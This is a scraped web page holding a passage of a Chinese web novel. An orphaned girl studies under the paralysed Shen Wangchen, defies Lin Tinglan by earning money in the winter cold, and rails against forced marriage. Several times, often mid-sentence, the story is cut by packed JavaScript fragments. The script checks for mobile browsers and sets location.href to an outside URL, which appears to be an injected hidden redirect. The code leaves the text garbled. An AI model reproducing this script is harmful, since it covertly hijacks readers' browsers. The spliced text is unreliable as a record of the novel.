l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764772|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己，可沈忘尘话已经顶到这里，她便不再好说什么，只是开口问了第二个问题。 “其二，我想问您，这世间女子，走到最后，是否一定还是要会到嫁人生子的老路上去？倘若我无论如何也要靠着嫁人生子而活，那我到底为何还要去学这世上的道理？我不想嫁、也不要嫁，若有一日，若有一日……” 她说到这里，喉间已泛起哽咽。 她不是软弱，她只是害怕，昨日春花姐同她说出那句“嫁人生子”时便一直在看她的小腹，也就是在那一瞬间，白栖枝竟突然清醒过来。 她是个女子，她日后是要为夫家绵延子嗣的。 林家家大业大，因林伯父与林伯母实在是恩爱无比，以至于林伯父府中并无填房小妾，膝下也只有林听澜一子，这就意味着林家延绵香火的重担皆落在林听澜一人身上。今日，他能凭着对沈忘尘的爱意以，一己之力担下宗族中众长老的纷纷议论。 可是五年后呢？十年后呢？二十年后呢？ 谁能知道他到底能担上多久？ 若有一日，他再也担不住这压力，突然在某一日萌生了要娶妻生子的妄念，那今日她手中的婚契便来日刺向她的尖刀。 可这些她又不敢对面前的沈忘尘明说，所以只忍住哽咽道：“若有一日有人想要将栖枝嫁于一位素未谋面的公子，栖枝可否还能借着沈哥哥今日的垂怜，求沈哥哥不要将栖枝嫁出去？” 沈忘尘并非女子，又因少时才学过人而越发恣意轻狂，便将娶亲生子之事远远抛诸脑后，从不提起。在年少轻狂的他眼中，自己总是有数不尽的时光任自己挥霍，成家之事对他实在太过遥远，就算是十年后再想也未尝不可。 可如今白栖枝将这件事在他面前如泣血般哽咽提出，他才发现对他来说销磨不尽的时光对于女子来说却是如此短暂。 大昭律法上明晃晃地写着：男子年十七而娶，女子至十四则当嫁，违之者，罚六百钱。若不能纳，则其父母当受杖责三十。 由是，大多数交不出钱又受不住杖罚的父母们早早地便将女儿许了人家，可若女儿实在是有几分姿色，家中又实在是穷困，父母也会将女儿卖给当地颇有钱财的六七十岁的老太爷做填房。 而在其中，不乏有女子在婚后凭着自己的能力过得不错，甚至能一直单独养活自己，但她们却不敢与夫家和离。 只因大昭律法上亦有一云：若妇人与夫和离，依律，妻当系狱二载。 所以，为免牢狱之灾，那些女子只能忍耐着、挣扎着、逼迫着自己不与离心的丈夫和离，一个人默默挨着这本不属于她们的罪孽。 这些事沈忘尘也不是没有听说过，那些事实在是与他无关，而其余人也只是将这些事当做笑谈，说过也就忘记了。 没有一个人将这血淋淋的事实明明白白地摆在他面前，所以当白栖枝用这件事询问他求他解惑的时候，他竟也一时失语，不知该如何回答。 …… 11. 拜师 “好。” 轻轻浅浅的一个字落下，白栖枝猛地抬头，正对上沈忘尘那双形状姣好的眸。 他张了张口，却似想起了什么，心中兀地一阵钝痛，到底还是没有说出来。 白栖枝不敢去猜他在想什么。 有时候她也会好奇沈忘尘会不会后悔——因着一个人，断了一双腿，连带着也断了自己的大好前途。 她不是什么圣人，倘若将这事放到她身上，她是一定会怨的、悔的。 可沈哥哥会怎么想的？当他看到林听澜在生意场上与人谈笑风生、恣意快活的时候，他又会在想什么呢？ 白栖枝不敢再想，也不敢去问。 她吐出一口气，努力压抑住自己心中翻涌激荡的情绪，缓缓地，问出了自己最后一个问题。 “最后，栖枝天资愚钝，倘若日后处事之际，有孚沈哥哥所望，还请沈哥哥大人有大量，且放栖枝一马，容栖枝改过。” 这小姑娘到底还是念着那天的事。 沈忘尘就算再糊涂，也不会听不出白栖枝话间的求饶之意——她这是怕自己日后做错了事，自己会杀了她。可她一个小姑娘，不生是非之心，不招杀身之祸，又能犯出多大的错呢？ 小姑娘跪在地上，两根细弱的手臂撑着自己簌簌发抖的身躯，看起来像一只被逼到角落里的小兔子，看起来格外可怜。 “好。若你日后犯了错，只要不是什么大错，我不怪你，也不罚你。但事后，我要你好好地想，以免下次再遇与之相同之事时重蹈覆辙。还有——” “枝枝，你不愚钝，你很聪明，不要看轻你自己。” 话音落下，白栖枝一双黑白分明的星眸内似有星火灼灼，亮得叫人几乎不敢对上她的眼。 只见她直起脊梁，双手在额前揖起，随即缓缓俯身，手拜至地面，郑重地朝沈忘尘磕了一下去。 “栖枝梼昧，还求沈哥哥垂怜。” * 自那日之后，白栖枝渐渐开始忙了起来。 除却最基础的“读写算”，课业之余，沈忘尘还会给她讲些经史子集一类的书，有时说得开心了，便又会从史书中信手拈起一段古时旧事，同她侃侃而谈。 每当这个时候，白栖枝都会屏息凝神，躬身俯首，不敢出一言以复。 当然，沈忘尘也不是自顾自地讲，时不时地也会询问白栖枝对事见解如何，两人一问一答之间，宛若春风融雪，白栖枝声声入耳、字字入心，竟打内心生出几分通透之意，愈发地聪颖伶俐了。 也是在这时，白栖枝才意识到春花口中的当年的沈忘尘应是何等的惊才风逸、丰标不凡。 可当她目光垂落，看见沈忘尘衣袍之下，如同枯枝般的双腿，又总会禁不住地想：这样如珪如璋的人，当时，究竟是抱着怎样的心绪，将自己的余生都断在那里的呢？ 白栖枝与沈忘尘愈发亲近，倒叫林听澜愈发吃起醋来。 以至于到后来，他竟不放心两人共处一室，也拽了张凳子在旁听着，时不时发表自己在外经商时的见解，又因怜沈忘尘体弱，经常是说道一半便规劝他赶紧去休息，免得坏了身子。 三人同室而学，不，甚至已经算不得学，大多是林听澜在和沈忘尘讲话，白栖枝不过是坐在一旁旁听罢了。尤其是到后面，林听澜说得越多，她便越觉得自己无知，也越发沉默寡言起来，以至于沈忘尘在问她如何看时，她也只是在发出“啊”“哦”一类的单个字音后摇摇头，表示自己才疏学浅，想不出也说不出什么来。 见她这样，林听澜对她的鄙夷也愈发浓烈了起来。 “忘尘怎么就收了你这么个木石鹿豕似的蠢货？”林听澜道，“这么多天下来，就算是外头的野狗也该通人性了，你怎么还听不出个所以然来。看你这样，别说是要为白伯父伯母报仇，只怕日后能不能单独活下去都是个问题。亏忘尘还想把他的心力倾注在你身上，你真是太叫他失望了。” 他说这话时，淮安正迎来今年葭月中旬时才肯落下的初雪。 这一天，沈忘尘怜她孩子心性，为她放了半天的假，出去赏雪。 这话是白栖枝出来时林听澜在她身侧说的，那日看她的目光就如同在看一只丧家犬，就连提起白家灭门惨案时他眼中都毫无半点怜悯，只有满满的轻蔑，仿佛这事就是白栖枝该着的。 她该着要死全家。 如果这事儿放在以前，白栖枝早炸了。可如今，她只是垂着头，一言不发攥着自己的衣角将指甲狠狠扣进手心里，随即理都没理林听澜，兀自离开了。 当天下午，白栖枝便不见了踪影。 这事儿是沈忘尘晚上派人叫白栖枝一起过来用膳时发现的。 当时春花怎么也找不到白栖枝便将这事儿报给了沈忘尘，沈忘尘又叫人在府上找了一圈，可怎么找都找不到白栖枝的影子，往下问，大家自晌午后便都再没见过白栖枝的影儿，不知道她跑哪里去了。 沈忘尘撇过头看向林听澜，林听澜难得的心虚起来，小声道：“我不过是说了她一两句，谁知她气性这么大，声也不吱就走了。”说完，又安抚似的同沈忘尘说道，“忘尘你放心，她连东西都未收拾，大抵就是出去走走散心去了，不会有事的。” 沈忘尘气得笑了一下：“你说你好歹也是个二十出头的人了，整日不想着该如何把林府的生意做出去，天天和一个小姑娘别扭什么？难不成我这两年来是白教你了么？竟还不如一个小姑娘家晓事理。” “是，我是不懂，我是不晓事理！可忘尘你呢？”林听澜再也忍不住自己的恼火，大声说道，“这几日来，你一直和她待在一起，整日只想着该如何教她，理都不理我一下，到后来竟连饭都不和我一同吃了！你的心思全在她身上，你根本就是不想要我了！” 此时的林听澜如同被抢了至亲之人般委屈。 原本他才是沈忘尘眼中的独一无二，原本他才是沈忘尘眼中唯一能亲近的人。 可自从白栖枝的到来，那个黄毛丫头就把沈忘尘的心全都分走了，忘尘眼中不再只有他一个了，忘尘身边也不再只有他一个了。 他真的好害怕。 在这世上，他只有忘尘一个了，倘若有一日就连忘尘也不要他，他就真的不知道该如何走下去了。 林听澜越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764773|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想越气、越想越怕，他的右手揽过沈忘尘纤长白皙的脖颈，俯下身来欲图以吻封缄；左手则控制不住地攀上他的双膝，像一条孽蛇般，缓缓地向内游走。 “我没有感觉……” 就在林听澜即将要触到沈忘尘的唇时，后者抓住他不安分的手，几乎是咬着牙从牙缝里挤出字来—— “林听澜，我他娘的没有感觉！” 沈忘尘的腿没有知觉。 无论是林听澜对他的爱抚，亦或是那种时候，他都没有感觉。 如果说，以前林听澜同他示爱的时候他是又痛又甜蜜的话，那如今林听澜对他的示爱只能叫他愈发觉得屈辱。 他没有感觉，不仅没有感觉，有时候甚至还会！ 他恨极了自己这双如面条般瘫软的废腿，他本应能和林听澜并肩而立、驰骋商场的。可就是因着这条腿，他如今只能困在这一爿屋檐下，如妇人般掌管着府内大小事宜，仿若困兽犹斗。 林听澜也是他栽培起来的，他是他调养出来的爱人，可如今，他却只能看着他越攀越高越走越远，而自己只能瘫废在原地不断底下坠、下坠、下坠…… 沈忘尘自诩当年之事自己毫无怨言，可是每当林听澜同他分享自己所做之事的时候，他又真的能忍住，迫使自己毫无怨言吗？原本他是可以站到他身旁同他同享风华的啊！ 沈忘尘知道自己是林听澜的浮木，可林听澜又何尝不是他的浮木。 他们是两根残破的枝，互相攀扶着、纠缠着，为的只是不让自己溺水而亡。 而他之所以会细心栽培白栖枝，就是因为他在她身上看到了自己当年的影子。 将年轻时的自己栽培长大，这是一件多么难得的事啊！ 天下泱泱万万余人中，又能有谁能像他这般幸运，竟能得此机缘？ 他想把她培养长大，哪怕让她代替自己陪在林听澜身边也好。 他要让白栖枝陪着林听澜一同走出去，一同扶持着向外闯，这样就算他不能亲自陪在林听澜身边，可光是如此远远看着，也算是了却他心中最大的一处心结。 他需要依附在一个人身上与其共存亡。 这个人只能是林听澜。 况且白栖枝还太小，又是个小姑娘，他依附不了她的，甚至若是日后出了事，他还得挡在他面前。可他难道就不需要一个人挡在前面么？ 但这些沈忘尘都不敢告诉林听澜。 他知道林听澜喜欢的一直是一直是个运筹帷幄、光风霁月的自己，如若那人知道他已经被病痛折磨得如此扭曲龌龊，那他还会继续爱他么？ 黑夜如烟雾一般弥散在世间的各个角落，却又不约而同聚在此处，化作一只看不见的大手，狠狠捏住这两颗惶惶不安的心脏。 屋内一时间除了两人粗重的喘息声再听不到其他。 两个胆小鬼相互对望着，从对方眼中看着自己狼狈的神色，却谁也不敢先开口表出自己的心意，只是这样对视着、对视着、对视着…… 突然，门外传来一声惊喜的通报声—— “大爷、沈公子，白小姐回来了！” …… 12. 归来 白栖枝回来了。 正当林听澜要大发雷霆的时候，从门外走过来一个水鬼似的冰人儿。 白栖枝全身都湿透了，细弱泛黄的头发上结了薄薄的冰片，上头覆着雪，看上去像是白了头。因着身体尚有余温，她那套单薄的下人们秋季才穿着的粗布衣裳不仅没有冻上，衣摆处、裤脚处还在哩哩啦啦地滴着水。 直到走近，林听澜才发她嘴唇已经冻得没有血色，泛着病态的紫青色，可脸上却还红肿着，应该是被风吹伤了。 她这样惨，倒叫林听澜不好再骂她什么了，只是沉下眉眼，冷声道：“你去哪了？” 白栖枝此刻被冻得厉害，嘴唇都打着哆嗦。 她没有回答林听澜的问题，只是僵着一张脸兀自上前，塞给给林听澜一样硬硬的东西。 林听澜只觉得面前人的手比死了一百年的尸体还要阴冷，连带她塞给她那块东西也凉得令人心颤。 林听澜甫一被触及，就冻得打了个寒噤。 他摊开手掌一看，躺在他掌心的，是一块小小的碎银子。 屋内燃了炭火盆，四处也都点上了灯，橘黄色的灯火色落下，到处都是暖洋洋的，唯独白栖枝冷得跟冰块一样，身上还若隐若现地散发着袅袅白烟。 她是缓了好一会儿才勉强开口的：“我赚的。” 林听澜：“算了吧，你一个小姑娘去哪里才能赚到这么多。”他突然变了脸色，“该不会是！” 若不是沈忘尘不轻不重地掐了他一下，恐怕后半段话就要被想偏了。 “不是。”白栖枝脑子都被冻僵了。她想了好久才抹把人中，上牙磕着下牙，结结巴巴道，“我、我是……我出去……给别人做、做工……刷碗……” 林听澜：“刷碗也赚不上这么多啊。” 白栖枝：“不是，刷碗……只赚了……十文。”说到这儿，她狠狠打了个哆嗦，将双手拢至嘴边，哈了口气，搓了搓自己的双臂。 十文？ 林听澜和沈忘尘对视了一眼。 这傻丫头被人骗了，大昭商业发达，哪怕是民间的小商铺，刷半天的碗也能赚上五十文左右，估计是那摊贩老板见她是个小姑娘家不知世事，这才将工钱打砍了一刀。 冬天水凉，刷了半天的碗才只能赚上十文钱。 听她这么说，饶是林听澜也忍不住觉得她有点可怜了。 但他依旧沉着脸问道：“那这碎银子是从哪里来的？还有你这一身的水，别告诉我这都是你刷碗刷来的。” 这时候白栖枝已经缓和过来许多了，她吸了吸鼻子，说话也不怎么打绊子：“银子是我帮一位小姐捡手帕得的。我从摊子回来的时候，路上遇见了个小姐帕子掉湖里了，那帕子是她情郎给她的，她很宝贝，所以帕子被风吹到湖里的时候她很着急。她丫鬟不识水性，加上天冷，水凉，没人帮她去捡手帕。” 林听澜：“所以你就帮她捡了？” 白栖枝：“不是帮，是受雇，我识水性，就跟她说，只要她给我二十文钱我就帮她捞。当时那小姐都急哭了，说只要我能捞的上来给我多少钱都行。然后，我就跳下去了。” 林听澜觉得又气又好笑：“二十文就值得你大冬天的往湖里跳？” “二十文能卖很多东西的。”白栖枝反驳道，“二十文钱能买半斤多的大米，能去摊铺喝十碗粥，能在沿海的地方买两斤盐，能在岭南买一根便宜的毛笔，还可以买两枚鸭蛋呢！” 林听澜：“这些都是谁跟你说的？” 白栖枝很诚实地回答：“摊主。” 屋内一片鸦雀无声。 “你……”林听澜开口想说些什么，但是突然就什么都说不出了，站在原地，转头看向沈忘尘。 后者亦是一片哑言。 就在这样沉静的情况下，白栖枝偷偷从冻到发硬的袖子里拎出一小袋被塞得鼓鼓溜溜的油纸包，在两人的注视下小心翼翼地将它放到两人面前的桌上。 两人对视一眼，沈忘尘朝林听澜动了下眼色，林听澜将那纸包打开。 里面是十六个红彤彤的裹了糖衣的红果子。 两人又看向白栖枝，后者心虚地撇开眼：“嗯……那二十文钱我也不知道干什么，反正看你们就是大户人家嘛，小时候应该很少能吃到这些东西，就……嗯……买了一点点带回来了。” 她这话说到后面几乎就让人听不见了，只剩自己在那里喃喃自语。 其实是因为她在街上看到了卖糖葫芦的姨姨，自己嘴馋用赚的工钱买了一根，然后又觉得自己吃独食好像不太好，就用那二十文给待在家里的这两人也买了包散的吃吃看，然后把那位小姐赏的那块碎银子交给林听澜，证明自己不是自己单独一个人就活不去。 屋内静默无声。 白栖枝忍了又忍，终于还是没忍住。 “林听澜。”她抬起头，一双水灵灵的大眼睛毫无惧色地看向林听澜，“你说我蠢笨，别说是要为我阿父阿母报仇，只怕日后能不能单独活下去都是个问题。可是，你现在看到了，就算我只有自己一个人，也可以活下去。也许我赚的十文钱对你来说没什么，可是对我来说，十文钱可以够我喝五天的粥，仅凭这五碗粥，就能够我活五天的了。” 林听澜：“但你连住的地方都没有。” “我可以睡在街上。”白栖枝说，“我可以睡在街上、破庙里，亦或是去别人家里做工当粗使丫鬟，我从长平来到淮安，一路上我都是这么过的。我没你想象得那么脆弱，不是非要过着以前那种锦衣玉食的生活，我很扛活，随便给我个地方我都能活得下去，我早就不是什么娇花了，我是野草，是一根“野火烧不尽，春风吹又生”的孤草。但是，你知道这样的我为什么非得要待在林家，非得要跟在沈哥哥身后学习吗？” 林听澜：“为什么？” 白栖枝道：“因为沈哥哥对我说过，只要我能跟着他好好学习，日后我就不用再走上嫁人生子的老路，不用逼着自己嫁给一个不通人性的畜生为他延绵子嗣。” 最后一句话她说得极轻极柔，却叫林听澜一下子恼怒起来。 林听澜想开口，但是白栖枝没给他说话的机会。 “你恼火也是没有用的。”她说，“林听澜，你总是要证明你是对的我是错的，可是为什么？为什么我一定是错的你一定是对的？我赖在林家学习，不是贪图你的荣华富贵。你知道的，我不是你的妻子，也不是你的情人，我沾不上你半点的光，你过着什么样的生活跟我没一点关系。但是，我不知道为什么，从小到大，我好像就必须要和你绑在一起一样。谁都知道我白栖枝与你林听澜有指腹为婚之亲，所以在他们眼中我多读书，是为了当一个贤良淑德、知书达理的林家妻；我陪父兄为流民施粥，是为了给你们林家在地下里积阴德；我善书画，是为了等日后嫁到你们林家不辱没你们林家人的脸面。他们都称我为林家妻，可是我有名姓的——我姓白，我叫白栖枝，我有家，我是白府的千金，我与你是平等的，我不需要靠着朝你们林家摇尾乞怜而过活。” “可是这一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764774|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那场灾祸后都变了味道。” “林听澜，你说我是丧家犬，对，你说的没错，我就是一条丧家犬，因我阿娘让我一定要来找你，所以我就得夹着尾巴朝你摇尾乞怜才能勉强过活。可是你不应该拿我家人的死来压我。” 说到这儿，白栖枝嗓子发痒，有气无力地咳嗽了两声，攒了攒力气，才继续说道： “晌午的时候，你说我是个废物，没本事为我阿爹阿娘阿兄报仇，试图用这件事来贬低我、侮辱我，可是林听澜，你知道我阿娘在将我藏在箱子前对我说的最后一句话是什么么？我阿娘说：‘枝枝，你不要怨，也不要恨，甚至连报仇的心思都不要有，你要好好地、努力活下去，如果……如果你日后活得实在是累了，动了想来找阿爹阿娘和阿兄的念头，我们也不会怪你，到时候咱们就在地府里团团圆圆的活……’你看，连我阿娘都没有用报仇这两个字来压我，你又凭什么用它来压我？难不成你真以为你这一两句话就能让我愧疚一辈子？林听澜，你实在是想得太多了。” 比起之前的强烈反驳，如今的白栖枝已经学会了再骂人的时候不动气。 她的语气又轻又柔，甚至面上还带着几分笑意，像是略过人心尖的鸿毛，只消风一吹，就能消失得无影无踪。 林听澜看着她一张笑面，一时间竟不知该如何反驳。 一直以来，他以为只有自己身受这“指腹为婚亲”之苦，殊不知白栖枝亦是如此。 倘若她只是个没什么心思的单纯少女也就罢了，偏她幼时被养得极好，被家里人爱着护着、教着养着，倒使她多生出几分神智来，日日思考自己想要走的人生路。 不过她那时还小，就算想也想不出来许多，只在他人口中察觉出了自己内心深处的一点点意味—— 她才不要当无名无姓的林家妻，要当就当白府的白栖枝，有名有姓的白栖枝。 气氛又回归到最原始的沉静。 林听澜只觉得那枚在自己手中原本轻若鸿毛的碎银子此刻沉甸甸的—— 他虽然不喜白栖枝，却也从未想过让她自己的一句无心之言就去涉险。 这么黑的天，她一个小姑娘独自一人跳进那么冷的湖里，就只是为了赚上二十文钱，证明给他看自己是个哪怕只有自己也能单独活下去的人。 倘若她这次不慎溺死在湖里了呢？倘若她这次就冻死在外面了呢？倘若她这次一出去就再也不回来了呢？ 她怎么就这么倔啊！ 两个被“娃娃亲”束缚了大半个人生的可怜人四目相对着，难得的，竟对彼此生出几分理解来。 倘若不是被这枷锁绑着，他们本应该是一对很好义兄义妹，犯不着如今这般日日针锋相对。 不过到底还是不适，白栖枝看了一会儿便赶紧移开眼，看到桌面上凉掉的饭菜“咦”了一声，用她那双黑白分明的大眼睛看向沈忘尘：“沈哥哥还没用晚膳呢？啊！不会是为了找我才没有用的吧？” “是的哦。”一直默不作声的沈忘尘微微笑道。 看着小姑娘一脸愧疚的模样，他顿了顿，又笑问道：“那枝枝下回还会偷偷跑出去做工么？” “不会的不会的。”白栖枝粲然一笑，“天太冷了，下次再跑出去就不一定会的来了……” 说完，她觉得自己这话听起来太可怜了，吸溜吸溜鼻子，赶紧补道： “沈哥哥，我这一身衣服太湿了，穿在身上有一点点点点的冷，可不可以……可不可以让我先下去换一身衣服呀？” …… 13. 困境 “你说你，倔个什么劲儿啊？本就是寄人篱下，对着大爷服个软不就成了？冻成这样……我看你就是不要命了！” 饶是春花，看着白栖枝这一身的冻伤，也心疼得掉下泪来。 她实在想不明白，明明只是个讨好求饶的事儿，为什么白栖枝非要这么倔，哪怕大冷天的跳进湖里给人捡手帕也不向林听澜求饶一声。 放着好好的安稳日子不过，她这又是何苦啊？！ 今日用来沐浴的水格外暖和，只可惜白栖枝在外面冻了太久，甫一接触到温热的水，第一个感觉到的竟不是暖，而是疼。 忍着针扎般似的痛，白栖枝钻进水里，下沉，在水里咕噜了一会儿才探出湿漉漉的小脑袋瓜，趴在桶边儿朝春花笑：“可如果我真的朝他求饶，难道他就会因此对我好些么？” 春花一时哑口无言。 白栖枝道：“春花姐，其实我也不是非要倔着和林听澜闹别扭，真的。我只是想证明给林听澜看，就算我不寄宿在林家，也是可以活下去的。” 春花反问：“那你还在留这儿做什么？” 白栖枝笑道：“因为沈哥哥呀。” 春花听完，想了一会儿，压低声音道：“难不成……你喜欢上沈公子了？” 此话一出，惊得白栖枝脚底一滑，整个人往木桶中间摔去，溅出好大的水花，差点淋了春花一身。 春花赶紧跳开，抬头，就见着白栖枝一手搭在木桶边上握紧，努力地，又站了起来。 白栖枝再次从桶里钻出湿漉漉的脑袋，呛咳着，吐了口水。 “不是的。”她赶紧开口反驳，说完又控制不住的咳嗽起来，直到咳的脸红了一片才将将止住，看向春花道，“春花姐，还记的你上次说，无论我怎么拼命，到底还是要走嫁人生子的老路吗？” 春花疑惑：她有说过这话吗？ 白栖枝说：“你说完的第二天，我就问过沈哥哥了，虽然没有明确的答复，但是沈哥哥应允我在我同他学习的这段时间，我不用嫁给任何人。” 春花道：“只是这段时间罢了，到底还是要嫁人的啊。更何况除却嫁人，你还能做什么呢？” “我可以去给人做工啊。”白栖枝不假思索道。 春花道：“做工很苦的。” “再苦也不会比嫁人更苦。”白栖枝笃定道，“做工的话，倘若这家不适合我，我还可以去另一家，但嫁人呢？难不成这个夫君不好，我还能再换一个夫君吗？” 见春花沉默不语，白栖枝趴在木桶边儿上，又道：“这世上不是所有的夫君都是好的，有的夫君在心情不好时甚至会殴打自己的夫人。可夫人们又做错了什么呢？难道只是因着嫁了人的缘故，她们就活该被打骂么？难道就是因着嫁人了，她们就活该受着欺辱不吭声么？” 说到这儿，她想了想，声音忽地又低下来：“之前林听澜打我的时候，我甚至连还手的勇气都没有，不是因为我觉得我该受那一巴掌，是因为我知道，我的力量与他的力量太悬殊了，我打不过他的。如果我未来的夫君和他一样，心情不好时动辄就要对我打骂，我打又打不过，逃又逃不掉，想和离的话……别说能不能真的做到这件事，光是提出这个念想我就得受两年的牢狱之灾。两年，对我来说两年能做的实在是太多了，如果我只因一句话将两年的光阴完全浪费在一个男子身上，那我真的会恨他一辈子。” “而当这种恨意一点一点、一天一点的积攒下来的话，我不知道我会不会在这种巨大绝望之下做出什么癫狂的事来，比如——” “杀夫。” 最后这两个字掉下来，听得春花心中一震，浑身冰冷，差点就要打出个寒噤来。 “可倘若我不嫁人，我就可以一直在外面做工，一直做、一直学，一直做、一直学。一年不行就两年，两年不行就三年，三年不行就五年、十年、二十年，反正我还小，最不缺的就是时间，只要我肯潜心做沉去——”她沉下去，又浮上来，“就早晚能浮到最上头。” “我不怕苦、不怕累、不怕死，只怕一辈子冠成是谁家妻，再做不得我自己。” 刹那间，春花只觉得自己的血液在骨头里吱嘎作响。 她一直觉得白栖枝是傻、是呆、是什么也不晓得的蠢，可到头来她才是想得最明白的那个—— 不要做谁家的妻，要做就要做自己。 这话怎么能从一个十四岁的孩子嘴里说出来啊？若是一个小孩子能想到这般田地，那又叫她又怎么办啊？ 难不成她从小所学所走的路都是错的吗？难道是她一直走错了么？ 可谁家的姑娘不是这样蹚过来的啊！ 如今她这样说，难道是想将她们一直以来所为之努力的一切给尽数抹杀了去么？ “可是……” 白栖枝的一句转折又将春花从一阵迷茫恐慌的云雾中拉出来。 她看着她，就听她继续说道：“话又说回来，如果我真的能找到一个愿意爱我、护我、愿意尊重我、与我心意相通的郎君的话，我还是很愿意嫁的，也很愿意跟他一直携手一生，因为我知道他不会苦了我，知道我嫁过去的话每天都是好日子，毕竟没人会跟好日子过不去的，对吧？春花姐。” 看着白栖枝那双纯真得毫无杂质的眼神，春花一直翻涌的心绪竟渐渐平息了下来—— 到底还是个涉世未深的孩子。 这世上的女子大多都是盲婚哑嫁，谁又能知道自己的夫君未来又会变成什么样？ 就算受了委屈，可大家都是这样一天天挨过来的，又何必乱出风头？ 都是这样过来的…… 想着，春花回过神，见白栖枝泡得差不多了，便递了块干净的布巾过去，语重心长地对她道： “你啊，还是先想想如何把眼下的日子过好了再说吧。” * 是夜，万籁俱寂。 林听澜做了个梦。 他梦见自己就站在白栖枝说得那个桥头，眼睁睁地看她为了二十文钱跳进冰冷的河水里，然后，再没浮上来。 梦里辨不清真假，他只当白栖枝真的死了，惶恐间，只觉一阵天旋地转。 面前的世界模糊得宛若混沌初开，等他能看清周遭的一切时，却发现自己已来到了阴曹地府。 “林听澜！”坐在上头的判官猛地一拍醒木，恶狠狠道，“今日我不审你，有的是人审你，黑白无常，把人带上前来！” 林听澜本以为那人是白栖枝，可当他转过头时，站在他身后的竟有五人。 “没想到我林宗礼一生最讲信义，竟生了你这么个忘恩负义的儿子！家门不幸啊！” “澜儿，你实在是令为娘太失望了，枝枝她只是个孩子，你怎么就狠得下心这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764775|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她？恩人，是我们林家对不起你们啊。” “林听澜，我家枝枝自幼与你相识，你怎么就狠心，竟把我家枝枝给！” “林听澜，你杀了我妹妹，我要你偿命！” “林听澜……” 林听澜也没想到，自己竟还能在地府遇见他阿爹阿娘与白伯伯、白姨娘还有白栖枝的那位兄长。 林听澜脸色惨白道：“不，我没有、我没有杀她！是她自己！她偷跑出去，这才溺死的，我没有杀她！没有！” “林听澜。”背后忽地飘过来一道极轻的声音。 林听澜往后看，就见着一具被泡得发白肿胀的巨人观正站在他身后，灰白色的皮肤正渗水，阴森森地看着他。 溺亡死的白栖枝此刻就站在他不远处，静静地看着他，紫青色的小脸上没有半分感情，见他回过头来看他，脸上竟没有半分怨恨，只幽幽地问了一句： “林听澜，你是不是一直都很怕我啊？” 从梦中蓦地惊醒过来，林听澜整个人像是刚从水里捞出来一般，浑身上下都渗出了一层薄薄的冷汗。 ——林听澜，你是不是一直都很怕我啊？ 那个女鬼说对了，林听澜一直都怕着白栖枝。 以前是，现在是、一直都是！ 他怎么可能不怕她呢？ 她从小就那么聪明，身边又有着白府那么多人的爱，从小千娇万宠地长大，竟没有出落出半分骄纵的性子，反而越来越冰雪聪明、玲珑通透，这叫人怎么能不害怕呢？ 对他来说那白栖枝简直就是个怪物！ 她实在是太聪明了：他需要背好几日的书她只需要扫一眼就能一个字不差地背下来；他解不开的九连环她只要观察一会儿就能明白其中诀窍；他怎么也答不上来的问题她只需要一两句话就能将问题的关键解个七七八八。但那是，她也还只是个七岁的孩子啊！ 与她相比，林听澜觉得自己简直是个废物，尤其是在爹娘拿他与白栖枝做比时那一丝丝若有若无的叹息，更让他觉得自己对白栖枝来说，不过是就是个可以被她随意践踏的蝼蚁。 可偏偏白栖枝从未这样觉得，在她眼里，自己仿佛是一个无所不能的大哥哥，无论怎么看、无论他做什么，在白栖枝眼里都是好厉害。 好厉害？ 就连林听澜都不知道白栖枝究竟是在身心夸他，还是在拐着弯地嘲讽她了。 他实在是不明白怎么会有人被养得这么好呢？ 虽称不上多么漂亮，却也叫人光是看着就讨厌不起来，知礼数、懂教养，天生就聪明的脑袋再加上一副乐善好施的心肠。 如果这样的人能生在世上，那他活着意义又是什么呢？ 难不成是为了一直与她做比、一直被她比下去么？ 更何况如今她还能够凭借自己的意志一个人从长平硬扛着来到淮安来寻他，又在被他欺负时不再像从前那样只会偷偷掉泪珠子而是敢站出来反抗他。拒绝他——这样的她又教她如何不害怕？ 难道他这辈子就注定要被一个黄毛小丫头比下去么？ 难道他这辈子就注定要活在她的阴影之下么？ 正当林听澜点了烛火，起身走到书案前，打算倒杯茶水压压惊时，就听着门外忽然有人来报道： “大爷，不好了，白小姐发起热病来了。” …… 14. 惧意 白栖枝沐浴后春花便一直不太放心她。 两人同住一室。 果然，只是刚睡下，白栖枝就登时发起热病来。 